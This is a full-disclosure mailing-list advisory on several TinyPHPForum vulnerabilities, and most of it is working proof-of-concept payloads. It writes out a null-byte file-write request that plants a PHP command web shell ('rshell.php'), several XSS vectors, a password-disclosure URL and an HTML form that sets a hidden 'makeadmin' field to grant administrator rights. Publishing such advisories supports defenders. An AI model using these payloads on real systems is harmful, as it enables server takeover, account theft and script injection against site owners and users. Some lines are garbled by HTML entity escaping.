[Full-disclosure] TinyPHPForum Multiple Vulnerabilities

TinyPHPForum Multiple Vulnerabilities.
http://sourceforge.net/projects/tinyphpforum/

TinyPHPForum is a forum based on file handling.

And has shown multiple vulnerabilities in several previous
releases.

Here I present the bugs for the actual version at 29/July

====================================================

Arbitrary File Handling.

Code:
PoC:

http://www.server.com/action.php?action=npost

POST:
fid=…/rshell.php%00
tid=<?php system($_GET['c']);?>
txt=tmp

Code:
http://www.server.com/split.php?action=split&amp;f=/../rshell.php&#37;00&amp;t=&lt;?phpsystem&#40;$_GET[&#39;c&#39;]&#41;;?&gt;&amp;p=&lt;?php
system($_GET['c']);?>

====================================================

XSS, even with magic_quotes:

Code:
PoC:
[a]' style='top:epresionje(eval(this.sss));' sss='alert();[/a]
[img]javascript:alert();[/img]

XSS.

Code:
PoC:
http://www.server.com/header.php?siteName=&lt;XSS&gt;&amp;title=&lt;XSS&gt;&amp;style=&lt;XSS&gt;

Code:
PoC:
http://www.server.com/search.php?query=&lt;XSS&gt;

====================================================

Password Disclosure:

Code:
http://www.server.com/error.php?err=200&amp;uname=victim&amp;[email protected]

====================================================

Admin Maker xD
Code:
PoC:
<FORM action=updatepf.php method=post enctype="multipart/form-data">
NOM:<INPUT name=uname><br>
<INPUT type=file name=userfile><br>
MAIL: <INPUT type=text name=email>
<input type=hidden name=makeadmin value=true>
<input type=hidden name=stat value=true>
<input type=hidden name=ulang value=en>
<input type=hidden name=uskin value=default>
<INPUT type=submit value="Enviar consulta">
</FORM>

A working exploit is anexed.

====================================================

Att.

Sirdarckcat
www.elhacker.net

–
Att.
[email protected]

http://www.google.com/search?q=sirdarckcat